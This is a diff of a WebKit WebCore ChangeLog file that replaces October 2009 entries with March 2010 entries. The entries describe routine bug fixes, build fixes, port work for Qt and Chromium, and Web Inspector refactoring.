-        (WebCore::RuntimeEnabledFeatures::localStorageEnabled):
-        (WebCore::RuntimeEnabledFeatures::setSessionStorageEnabled):
-        (WebCore::RuntimeEnabledFeatures::sessionStorageEnabled):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        * storage/Storage.cpp:
-        * storage/Storage.h:
-
-2009-10-26  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Darin Adler.
+        * page/Frame.cpp:
+        (WebCore::Frame::setView):
+        (WebCore::Frame::setTiledBackingStoreEnabled):
 
-        <rdar://problem/7308952> and http://webkit.org/b/30424 - REGRESSION (r48687): Pages on ucas.com appear blank.
+2010-03-25  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
-        Test: fast/loader/history-forward-in-head.html
+        Reviewed by Simon Hausmann.
 
-        * loader/RedirectScheduler.cpp:
-        (WebCore::RedirectScheduler::scheduleHistoryNavigation): Restore the moved canGoBackOrForward() check.
-          This restores the side effect of an invalid history navigation canceling previous scheduled redirects
-          and also fixes the bug of scheduling an invalid history navigation canceling parsing of the current document.
-        (WebCore::RedirectScheduler::timerFired): Removed the canGoBackOrForward() check as it is now made before
-          the redirect is scheduled.
+        [Qt] Implement ChromeClient::windowResizerRect()
 
-2009-10-26  Alexey Proskuryakov  <ap@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=21300
 
-        Reviewed by Darin Adler.
+        The helper function geometryRelativeToOwnerWidget() in the page
+        client is used to clip the resize rect to the actual size of the
+        viewport, not the size of the QGraphicsView.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30049
-        <rdar://problem/7286002> Manipulating DOM from a script while parsing XHTML can cause a crash
+        * platform/qt/QWebPageClient.h:
 
-        Tests: fast/parser/remove-current-node-parent-x-2.xhtml
-               fast/parser/remove-current-node-parent-x.xhtml
+2010-03-26  Olivier Goffart  <ogoffart@trolltech.com>
 
-        * dom/XMLTokenizer.h: Store the whole stack of parent nodes - element.parentNode() is
-        unreliable after DOM manipulation.
+        Reviewed by Simon Hausmann.
 
-        * dom/XMLTokenizer.cpp:
-        (WebCore::XMLTokenizer::pushCurrentNode): Push the new node onto stack.
-        (WebCore::XMLTokenizer::popCurrentNode): This is now called instead of setCurrentNode when
-        exiting a node.
-        (WebCore::XMLTokenizer::clearCurrentNodeStack): We're aborting; or just done parsing. This
-        replaces setCurrentNode(0).
-        (WebCore::XMLTokenizer::enterText): Call pushCurrentNode().
-        (WebCore::XMLTokenizer::exitText): Call popCurrentNode(), removing a long-standing FIXME
-        (not sure if it was ever practical though - how can a parent become null while adding text?)
+        [Qt] Fix compilation on Windows
 
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::~XMLTokenizer): Call clearCurrentNodeStack().
-        (WebCore::XMLTokenizer::startElementNs): Call pushCurrentNode().
-        (WebCore::XMLTokenizer::endElementNs): Call popCurrentNode() to safely get to a parent. Also
-        added a check fo script element still being in document - Firefox parses those that aren't,
-        but doesn't execute them.
+        For some reason, the MSVC compiler choose the
+        operator+(const QString &, const QString &) instead of
+        operator+(const WebCore::String &, const WebCore::String &)
+        resulting in errors when QT_USE_FAST_OPERATOR_PLUS is used.
 
         * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::~XMLTokenizer):
-        (WebCore::XMLTokenizer::parseStartElement):
-        (WebCore::XMLTokenizer::parseEndElement):
-        Match libxml2 version changes.
-
-2009-10-26  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        background-size: X treated as background-size: X X, not background-size: X auto
-        https://bugs.webkit.org/show_bug.cgi?id=28440
-
-        Updated fast/backgrounds/size/resources/parsing-background-size-values.js
-        and fast/backgrounds/size/resources/parsing-inherit.js
-
-        Reinstated -webkit-background-size and kept its behavior of filling in
-        the second value with the first one; and changed background-size to have
-        the behavior of filling in the second value with 'auto'.
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (computedProperties): Re-added CSSPropertyWebkitBackgroundSize.
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Ditto.
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue): Ditto.
-        (WebCore::CSSParser::parseFillSize): Adapted for the new parsing rule.
-        (WebCore::CSSParser::parseFillProperty): Re-added
-        CSSPropertyWebkitBackgroundSize.
-        (WebCore::cssPropertyID): Removed mapping of -webkit-background-size to
-        background-size.
-        * css/CSSParser.h:
-        * css/CSSPropertyNames.in: Re-added -webkit-background-size.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty): Re-added
-        CSSPropertyWebkitBackgroundSize.
-
-2009-10-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Eric Seidel.
-
-        [Qt] Use "%lli" to format "long long" on WIN_OS to fix HTML5 WebDB crash
-        https://bugs.webkit.org/show_bug.cgi?id=30777
-
-        No new tests as the crash can be reproduced by existing storage
-        LayoutTests (by hitting an assert in debug mode Webkit on WIN_OS).
-
-        * platform/text/String.cpp:
-        (WebCore::String::number): Qt's QString::vsprintf does not
-        understand the "%I64u" format string. Always use the "%lli"
-        format string for Qt port.
+        (WebCore::handleElementNamespaces):
 
-2009-10-26  Tony Chang  <tony@chromium.org>
+2010-03-25  Diego Gonzalez  <diego.gonzalez@openbossa.org>
 
         Reviewed by Eric Seidel.
 
-        Roll back r50073 because r50041-50043 were reverted.  r50073 was
-        a chromium side fix for r50041.
-        https://bugs.webkit.org/show_bug.cgi?id=30789
-
-        * bindings/v8/V8Collection.h:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        (WebCore::getItem):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        (WebCore::getItem):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-
-2009-10-26  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fixed https://bugs.webkit.org/show_bug.cgi?id=30765
-        REGRESSION (r48701): Removing an event listener causes the one added just after it not to fire
-        
-        and related bugs.
-
-        If the event listener being removed is prior to the current firing event
-        iterator, we need to decrement the current firing event iterator in
-        addition to the endpoint. (Otherwise, shrinking the event listener vector
-        by one implicity moves the current firing event iterator forward by one.
-        It's like relativity, only without the planets.)
-        
-        Also took the opportunity to change some pointers to references, since
-        they can't be null.
-
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::removeEventListener):
-        (WebCore::EventTarget::removeAllEventListeners): Update iterator in addition
-        to end, if need be.
-        (WebCore::EventTarget::fireEventListeners): Updated for interface changes.
-        Added a comment to explain a behavior that was implicit enough to be
-        confusing.
-
-        * dom/EventTarget.h:
-        (WebCore::FiringEventIterator::FiringEventIterator):
-        (WebCore::EventTarget::isFiringEventListeners): Updated for interface changes.
-
-2009-10-26  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <http://webkit.org/b/30792>.
-        Web Inspector: When changing resource scope, resource graph can get in weird state.
-        
-        If the user was scrolled down while looking at All resources, and then just
-        selects Fonts, or something that doesn't have many resources, then the graph
-        will stay scrolled down, even when there is no content there.
-        
-        When the filter is updated, scroll to the top of the graph view, so this won't
-        happen.
-
-        * inspector/front-end/AbstractTimelinePanel.js:
-        (WebInspector.AbstractTimelinePanel.prototype._updateFilter):
-
-2009-10-26  Sam Weinig  <sam@webkit.org>
-
-        Fix mac clean build.
-
-        * html/HTMLOptionsCollection.idl:
-
-2009-10-26  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Extract AbstractTimelinePanel that will be a base
-        class for ResourcesPanel and TimelinePanel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30776
-
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/AbstractTimelinePanel.js: Added.
-        (WebInspector.AbstractTimelinePanel):
-        (WebInspector.AbstractTimelinePanel.prototype.get categories):
-        (WebInspector.AbstractTimelinePanel.prototype.showCategory):
-        (WebInspector.AbstractTimelinePanel.prototype.hideCategory):
-        (WebInspector.AbstractTimelinePanel.prototype.createTimelinePanels):
-        (WebInspector.AbstractTimelinePanel.prototype._createFilterPanel.createFilterElement):
-        (WebInspector.AbstractTimelinePanel.prototype._createFilterPanel):
-        (WebInspector.AbstractTimelinePanel.prototype.filter):
-        (WebInspector.AbstractTimelinePanel.prototype._updateFilter):
-        (WebInspector.AbstractTimelinePanel.prototype._createGraph):
-        (WebInspector.AbstractTimelinePanel.prototype.updateGraphDividersIfNeeded):
-        (WebInspector.AbstractTimelinePanel.prototype._updateSummaryGraph):
-        (WebInspector.AbstractTimelinePanel.prototype._updateDividersLabelBarPosition):
-        (WebInspector.AbstractTimelinePanel.prototype.get needsRefresh):
-        (WebInspector.AbstractTimelinePanel.prototype.set needsRefresh):
-        (WebInspector.AbstractTimelinePanel.prototype.refreshIfNeeded):
-        (WebInspector.AbstractTimelinePanel.prototype.show):
-        (WebInspector.AbstractTimelinePanel.prototype.resize):
-        (WebInspector.AbstractTimelinePanel.prototype.updateMainViewWidth):
-        (WebInspector.TimelineCalculator):
-        (WebInspector.TimelineCalculator.prototype.computeSummaryValues):
-        (WebInspector.TimelineCalculator.prototype.computeBarGraphPercentages):
-        (WebInspector.TimelineCalculator.prototype.computeBarGraphLabels):
-        (WebInspector.TimelineCalculator.prototype.get boundarySpan):
-        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
-        (WebInspector.TimelineCalculator.prototype.reset):
-        (WebInspector.TimelineCalculator.prototype._value):
-        (WebInspector.TimelineCalculator.prototype.formatValue):
-        * inspector/front-end/ResourceCategory.js:
-        (WebInspector.ResourceCategory):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-        (WebInspector.ResourcesPanel.prototype.toolbarItemClass.get toolbarItemLabel):
-        (WebInspector.ResourcesPanel.prototype.get statusBarItems):
-        (WebInspector.ResourcesPanel.prototype.get categories):
-        (WebInspector.ResourcesPanel.prototype.showCategory):
-        (WebInspector.ResourcesPanel.prototype.hideCategory):
-        (WebInspector.ResourcesPanel.prototype.isCategoryVisible):
-        (WebInspector.ResourcesPanel.prototype.populateSidebar):
-        (WebInspector.ResourcesPanel.prototype.createPanelEnabler):
-        (WebInspector.ResourcesPanel.prototype.createStatusbarButtons):
-        (WebInspector.ResourcesPanel.prototype.set mainResourceLoadTime):
-        (WebInspector.ResourcesPanel.prototype.set mainResourceDOMContentTime):
-        (WebInspector.ResourcesPanel.prototype.show):
-        (WebInspector.ResourcesPanel.prototype.resize):
-        (WebInspector.ResourcesPanel.prototype.reset):
-        (WebInspector.ResourcesPanel.prototype.updateGraphDividersIfNeeded):
-        (WebInspector.ResourcesPanel.prototype.updateMainViewWidth):
-        (WebInspector.ResourceTimeCalculator):
-        (WebInspector.ResourceTransferSizeCalculator):
-        (WebInspector.ResourceTransferSizeCalculator.prototype.computeBarGraphLabels):
-        * inspector/front-end/SummaryBar.js:
-        (WebInspector.SummaryBar.prototype.update):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded):
-
-2009-10-26  Avi Drissman  <avi@google.com>
+        Missing forward ENABLE_DATALIST macro to JavaScript enabled features macros
+        on WebKit.pri
 
-        Reviewed by Darin Adler.
+        [Qt] Forward ENABLE_DATALIST macro to JavaScript enabled macros
+        https://bugs.webkit.org/show_bug.cgi?id=36547
 
-        Use Helvetica in the Inspector as intended.
-        https://bugs.webkit.org/show_bug.cgi?id=30787
+        * WebCore.pri:
 
-        * inspector/front-end/inspector.css:
+2010-03-25  Simon Hausmann  <simon.hausmann@nokia.com>
 
-2009-10-26  Nate Chapin  <japhet@chromium.org>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Alexey Proskuryakov.
+        [Qt] Fix the package build on Maemo 5
 
-        Don't set window.opener to 0 for the current FrameLoader if a noreferrer link was clicked, only suppress opener in a new frame.
-        https://bugs.webkit.org/show_bug.cgi?id=30781
+        https://bugs.webkit.org/show_bug.cgi?id=36607
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::urlSelected): Don't suppress opener in the current frame for noreferrer navigations.
+        Always embed the stylesheet for the no-listbox rendering. This way it'll be
+        included in the generated files for the package generation.
 
-2009-10-26  Ryosuke Niwa  <rniwa@webkit.org>
+        * WebCore.pri:
 
-        Reviewed by Eric Seidel.
+2010-03-19  Miikka Heikkinen  <miikka.heikkinen@digia.com>
 
-        Data loss occurs when unbolding nested bold tags.
-        https://bugs.webkit.org/show_bug.cgi?id=30083
+        Reviewed by Simon Hausmann.
 
-        Fixes the loop in swapInNodePreservingAttributesAndChildren by saving nextSibling() of child
-        to a temporary valuable.  It was originally calling nextSibling() after appending the child
-        to new parent, in which case, nextSibling is always 0.
+        [Qt] Support for QT_LIBINFIX in Symbian builds
 
-        Test: editing/style/unbolding-nested-b.html
+        Configuring Qt with -qtlibinfix parameter will enable installing
+        an alternate version of Qt on devices that already have it on ROM.
+        This patch provides support for infixed builds of Webkit.
 
-        * editing/ReplaceNodeWithSpanCommand.cpp:
-        (WebCore::swapInNodePreservingAttributesAndChildren):
+        * WebCore.pro:
 
-2009-10-21  Jeremy Orlow  <jorlow@chromium.org>
+2010-03-24  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Storage events should use Document::url() rather than documentURI()
-        https://bugs.webkit.org/show_bug.cgi?id=30535
-
-        Storage events should use Document::url() rather than Document::documentURI()
-        per http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-October/023703.html
+        Make Icon::createIconForFiles() optional.
+        https://bugs.webkit.org/show_bug.cgi?id=35072
+
+        r54923 made Icon::createIconForFiles() deprecated. However moving
+        existing icon loading code to outside of WebCore is not good.  So,
+        we assume:
+        - ChromeClient::chooseIconForFiles(), renamed from iconForFiles(), is
+          the primary API to load icons.
+        - Icon::createIconForFiles() is an optional API to help
+          implementing ChromeClient::iconForFiles().
+
+        This patch removes a call to Icon::createIconForFiles() from
+        FileChooser::loadIcon(), and ChromeClient::chooseIconForFiles() of
+        non-Chromium ports calls Icon::createIconForFiles().
+
+        * WebCore.base.exp: Export FileChooser::iconLoaded(),
+          Icon::createIconForFiles(), and Icon::~Icon().
+        * WebCore.xcodeproj/project.pbxproj: Export Icon.h
+        * loader/EmptyClient.h: Rename iconForFiles() to chooseIconForFiles().
+        * page/Chrome.cpp: ditto.
+        * page/Chrome.h: ditto.
+        * page/ChromeClient.h: ditto.
+        * platform/FileChooser.cpp:
+        (WebCore::FileChooser::loadIcon):
+        * platform/graphics/Icon.h: Remove a comment on createIconForFiles().
+        * platform/graphics/chromium/IconChromiumLinux.cpp: Remove createIconForFiles().
+        * platform/graphics/chromium/IconChromiumMac.cpp: ditto.
+        * platform/graphics/chromium/IconChromiumWin.cpp: ditto.
+        * rendering/RenderFileUploadControl.cpp: Rename iconForFiles() to chooseIconForFiles().
+        * rendering/RenderFileUploadControl.h: ditto.
 
-        Test: storage/domstorage/documentURI.html
+2010-03-23  Dan Bernstein  <mitz@apple.com>
 
-        * storage/StorageEventDispatcher.cpp:
-        (WebCore::StorageEventDispatcher::dispatch):
+        Fixed typos.
 
-2009-10-26  Sam Weinig  <sam@webkit.org>
+        * manual-tests/plugin-visible-rect-change.html:
 
-        Rubber-stamped by Darin Adler.
+2010-03-23  Dan Bernstein  <mitz@apple.com>
 
-        Rollout r50041-50043.  The HTML5 spec changed to make HTMLOptionsCollection
-        inherit from HTMLCollection.
+        Reviewed by John Sullivan.
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSHTMLAllCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        (WebCore::callHTMLAllCollection):
-        (WebCore::JSHTMLAllCollection::nameGetter):
-        (WebCore::JSHTMLAllCollection::item):
-        (WebCore::JSHTMLAllCollection::namedItem):
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        (WebCore::callHTMLCollection):
-        (WebCore::JSHTMLCollection::nameGetter):
-        (WebCore::JSHTMLCollection::item):
-        (WebCore::JSHTMLCollection::namedItem):
-        (WebCore::toJS):
-        * bindings/js/JSHTMLCollectionFunctions.h: Removed.
-        * bindings/js/JSHTMLDocumentCustom.cpp:
-        * bindings/js/JSHTMLOptionsCollectionCustom.cpp:
-        (WebCore::JSHTMLOptionsCollection::length):
-        (WebCore::JSHTMLOptionsCollection::indexSetter):
-        * bindings/objc/DOMHTML.mm:
-        (kitClass):
-        * bindings/objc/DOMUtility.mm:
-        (JSC::createDOMWrapper):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * html/HTMLCollection.idl:
-        * html/HTMLOptionsCollection.idl:
+        WebCore part of
+        <rdar://problem/7197736> Plug-in clip rect does not update when overflow
+        clip changes
+        https://bugs.webkit.org/show_bug.cgi?id=36479.
 
-2009-10-26  Brent Fulgham  <bfulgham@webkit.org>
+        * manual-tests/plugin-visible-rect-change.html: Added.
+        * platform/mac/WidgetMac.mm:
+        (WebCore::WidgetPrivate::WidgetPrivate): Added previousVisibleRect.
+        (WebCore::Widget::setFrameRect): If the visible rect changed but the
+        frame rect did not, send a -visibleRectDidChange message to the view,
+        if it responds to it.
+        (WebCore::Widget::releasePlatformWidget): Reset previousVisibleRect.
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::setWidgetGeometry): Track changes to the clip rect
+        imposed by the enclosing layer. Call Widget::setFrameRect when it changes,
+        even if the frame rect did not.
+        * rendering/RenderWidget.h:
+        (WebCore::RenderWidget::windowClipRect): Added this accessor.
 
-        Reviewed by Adam Roben.
+2010-03-23  Simon Fraser  <simon.fraser@apple.com>
 
-        Build fix for ENABLE_FILTERS under Windows.
-        https://bugs.webkit.org/show_bug.cgi?id=30762
+        Reviewed by Dan Bernstein.
 
-        Build correction for ENABLE_FILTERS feature.  No new tests needed.
+        Assertion ASSERTION FAILED: rootLayer == m_clipRectsRoot at hulu.com
+        https://bugs.webkit.org/show_bug.cgi?id=34065
+        
+        Fix another cause of assertions related to the clip rects root. Embeds
+        with zero size caused the overlap testing to fail, yet we require them to work
+        for correct compositing, so when the composited bounds is empty, use a 1x1 rect
+        for overlap testing.
 
-        * WebCore.vcproj/WebCore.vcproj:  Make the following changes:
-          (1) Create a new 'filters' sub-folder of the platform/graphics 
-              folder to properly show the sources held in this directory.
-          (2) Move the files that are currently shown in svn/graphics/filters
-              to platform/graphics/filters (where they actually live on disk).
-          (3) Add the missing SVGFilter, SVGFilterBuilder, and SVGFETile to
-              the project so they are built.
-          (4) Remove SVGFEFloodElement.cpp from the build, since it is already
-              being compiled by SVGAllInOne.cpp.  Its presence as a separate
-              entity is causing a linker warning for duplicate symbols.
-          (5) Add ImageBuffer.cpp to the build to support color space
-              calculations for non-CG builds.
-        * WebCore.vcproj/WebCoreCommon.vsprops: Add the platform/graphics/filters
-          path to the search paths in the project.
+        Test: compositing/geometry/empty-embed-rects.html
 
-2009-10-26  Keishi Hattori  <casey.hattori@gmail.com>
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::addToOverlapMap):
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
 
-        Reviewed by Timothy Hatcher.
+2010-03-23  David Levin  <levin@chromium.org>
 
-        console.assert should prefix messages with "Assertion failed: "
-        https://bugs.webkit.org/show_bug.cgi?id=19135
+        Reviewed by Nate Chapin.
 
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleMessage.prototype.toMessageElement): Append "Assertion failed: " for AssertMessageType.
-        (WebInspector.ConsoleMessage.prototype.toString):
-        * page/Console.cpp:
-        (WebCore::Console::assertCondition): Use AssertMessageType.
-        * page/Console.h:
-        (WebCore::MessageType): Added AssertMessageType.
+        [chromium] XMLHttpRequest.send sends 'undefined' string when passed undefined value.
+        https://bugs.webkit.org/show_bug.cgi?id=36506
 
-2009-10-26  Rahul Kuchhal  <kuchhal@chromium.org>
+        Test: http/tests/xmlhttprequest/send-undefined-and-null.html
 
-        Reviewed by Eric Seidel.
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::isDocumentType): Unrelated style fix: fixed the casing of the method.
+        (WebCore::V8XMLHttpRequest::sendCallback): Added check for null/undefined to do the send.
+        This mirrors what is done in the JSC bindings. Previously, sending 'null' worked because
+        the last case, which did "toWebCoreStringWithNullCheck", resulted in sending an empty
+        request body.
 
-        Prevent crash when optgroup element is empty by adding a NULL check.
+2010-03-23  Chris Evans  <cevans@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30365
+        Reviewed by Darin Adler.
 
-        Test: fast/forms/select-empty-optgroup.html
+        Fix hard-to-see crash due to incorrect libxml API usage.
 
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::appendFormData):
+        https://bugs.webkit.org/show_bug.cgi?id=36000
 
-2009-10-21  Steven Knight  <sgk@chromium.org>
+        Test: fast/text/bad-encoding.html
 
-        Reviewed by David Levin.
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::doEnd): Avoid operations on a closed context.
 
-        Refactor gyp for separate webcore_bindings{,_sources} targets.
+2010-03-23  Nate Chapin  <japhet@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30447
+        Unreviewed, revert r56376.
 
-        Handle long link lines by building .idl-generated bindings in a
-        separate webcore_bindings library target.  Avoid Visual Studio
-        dependency issues by building additional generated .cpp and .h files
-        in a separate webcore_bindings_sources target.
+        This revision introduced a crash in a couple of layout tests
+        on Chromium Linux.
 
-        Chrome should still build and test successfully.
+        * page/chromium/ChromeClientChromium.h:
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::):
+        (WebCore::PopupContainer::create):
+        (WebCore::PopupContainer::PopupContainer):
+        (WebCore::PopupContainer::showPopup):
+        (WebCore::PopupContainer::showExternal):
+        (WebCore::PopupContainer::hidePopup):
+        (WebCore::PopupMenu::show):
+        * platform/chromium/PopupMenuChromium.h:
+        (WebCore::PopupItem::):
+        (WebCore::PopupItem::PopupItem):
+        (WebCore::PopupContainerSettings::):
+        (WebCore::PopupContainer::listBox):
 
-        * WebCore.gyp/WebCore.gyp:
-        * WebCore.gypi:
+2010-03-23  David Hyatt  <hyatt@apple.com>
 
-2009-10-26  Mike Belshe  <mike@belshe.com>
+        Reviewed by Simon Fraser and Darin Adler.
 
-        Reviewed by Darin Fisher.
+        https://bugs.webkit.org/show_bug.cgi?id=36272, make sure nth-child can work when the portion with "n" is omitted.
 
-        Make the number of connections for chromium controlled by
-        chromium rather than by ResourceRequestBase.
-        https://bugs.webkit.org/show_bug.cgi?id=30661
+        Added fast/css/nth-child-implied-step.html
 
-        * platform/network/ResourceRequestBase.cpp:
-        * platform/network/chromium/ResourceRequest.cpp:
+        * css/CSSGrammar.y:
+        * css/tokenizer.flex:
 
-2009-10-26  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+2010-03-23  Darin Adler  <darin@apple.com>
 
-        Unreviewed. make distcheck build fixes.
+        Reviewed by Sam Weinig.
 
-        * GNUmakefile.am:
+        Reduce and straighten internal use of DOMImplementation
+        https://bugs.webkit.org/show_bug.cgi?id=36501
 
-2009-10-26  Anton Muhin  <antonm@chromium.org>
+        * WebCore.xcodeproj/project.pbxproj: Xcode decided to
+        re-sort this file.
 
-        Reviewed by Dimitri Glazkov.
+        * dom/Clipboard.cpp: Removed unneeded include of DOMImplementation.h.
 
-        Unbreak Chromium build: that requires adding custom implementations
-        for HTMLOptionsCollection's item and namedItem.  Keep v8 binding
-        close to JSC bindings as well.
-        https://bugs.webkit.org/show_bug.cgi?id=30780
+        * dom/DOMImplementation.cpp: Removed unneeded createDocument and
+        createHTMLDocument functions. These should be done directly instead
+        of involving the DOMImplementation class.
+        * dom/DOMImplementation.h: Ditto.
 
-        * bindings/v8/V8Collection.h:
-        (WebCore::getNamedItemsFromCollection):
-        (WebCore::getItemFromCollection):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        * dom/DocumentType.cpp: Removed unneeded include of DOMImplementation.h.
 
-2009-10-23  Alexey Proskuryakov  <ap@apple.com>
+        * html/HTMLViewSourceDocument.cpp:
+        (WebCore::HTMLViewSourceDocument::createTokenizer): Don't allocate a
+        DOMImplementation object just to use a class member function.
 
-        Reviewed by Adam Barth and Darin Adler.
+        * loader/CachedFont.cpp: Removed unneeded include of DOMImplementation.h.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30723
-        <rdar://problem/6189415> Input names added to multipart/form-data headers need to be escaped.
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::responseXML): Use Document::create to create a
+        new document instead of involving DOMImplementation.
+        * xml/XSLTProcessor.cpp:
+        (WebCore::XSLTProcessor::createDocumentFromSource): Ditto. And in the case
+        where we do need to call DOMImplementation to interpret the MIME type,
+        don't allocate a DOMImplementation object just to use a class member
+        function.
 
-        Test: http/tests/security/escape-form-data-field-names.html
+2010-03-23  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        * platform/network/FormDataBuilder.cpp:
-        (WebCore::appendQuotedString):
-        (WebCore::FormDataBuilder::beginMultiPartHeader):
-        (WebCore::FormDataBuilder::addFilenameToMultiPartHeader):
-        Percent-escape line breaks and quotation marks.
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-10-26  Kelly Norton  <knorton@google.com>
+        [Qt] Maemo5 theme - all <select> elements should be rendered as menu lists.
+        https://bugs.webkit.org/show_bug.cgi?id=36367
 
-        Reviewed by Pavel Feldman.
+        Enabling NO_LISTBOX_RENDERING in WebCore.pri for Maemo5.
 
-        Adds DOMTimer support to InspectorTimelineAgent.
-        https://bugs.webkit.org/show_bug.cgi?id=30467
-
-        * inspector/InspectorTimelineAgent.cpp: Added timer support and fixed some method names.
-        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::didLayout):
-        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::didPaint):
-        (WebCore::InspectorTimelineAgent::didWriteHTML):
-        (WebCore::InspectorTimelineAgent::didInstallTimer): Added.
-        (WebCore::InspectorTimelineAgent::didRemoveTimer): Added.
-        (WebCore::InspectorTimelineAgent::willFireTimer): Added.
-        (WebCore::InspectorTimelineAgent::didFireTimer): Added.
-        (WebCore::InspectorTimelineAgent::addItemToTimeline): Added.
-        (WebCore::InspectorTimelineAgent::didCompleteCurrentTimelineItem): Renamed.
-        * inspector/InspectorTimelineAgent.h:
-        (WebCore::):
-        * inspector/TimelineItemFactory.cpp: Add methods for timer-related ScriptObjects.
-        (WebCore::TimelineItemFactory::createGenericTimerTimelineItem):
-        (WebCore::TimelineItemFactory::createTimerInstallTimelineItem):
-        * inspector/TimelineItemFactory.h:
-        * page/DOMTimer.cpp: Added instrumentation points.
-        (WebCore::DOMTimer::install):
-        (WebCore::DOMTimer::removeById):
-        (WebCore::DOMTimer::fired):
+        * WebCore.pri:
 
-2009-10-26  Simon Fraser  <simon.fraser@apple.com>
+2010-03-22  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Reviewed by Sam Weinig.
+        Reviewed by David Kilzer.
 
-        <rdar://problem/6988966> Hardware layers do not show up in page snapshots
+        Upstream iPhone KeyEvent platform code and share with Mac platform
+        https://bugs.webkit.org/show_bug.cgi?id=35870
 
-        Add a method that gets called when snapshotting Canvas3DLayers for page snapshots,
-        that allows the layer to return a CGImageRef of its contents.
-        
-        * platform/graphics/mac/Canvas3DLayer.h:
-        * platform/graphics/mac/Canvas3DLayer.mm:
-        (-[Canvas3DLayer copyImageSnapshotWithColorSpace:]):
+        * platform/iphone/KeyEventCodesIPhone.h: Improper comment for #endif.
+        * platform/iphone/KeyEventIPhone.mm: Fixed headers.
 
-2009-10-26  Yury Semikhatsky  <yurys@chromium.org>
+2010-03-23  David Hyatt  <hyatt@apple.com>
 
-        Reviewed by Pavel Feldman.
+        Reviewed by Jeremy Orlow.
 
-        Pass "console" as object group when evaluating selection.
+        https://bugs.webkit.org/show_bug.cgi?id=36277, make sure nth-child supports the positive unary prefix (+) as well as the negative
+        one (-).
 
-        https://bugs.webkit.org/show_bug.cgi?id=30738
+        Added fast/css/nth-child-unary-prefix.html
 
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype._evalSelectionInCallFrame):
+        * css/tokenizer.flex:
 
-2009-10-26  Keishi Hattori  <casey.hattori@gmail.com>
+2010-03-23  Andrey Kosyakov  <caseq@chromium.org>
 
-        Reviewed by Pavel Feldman.
+        Reviewed by Dmitry Titov.
 
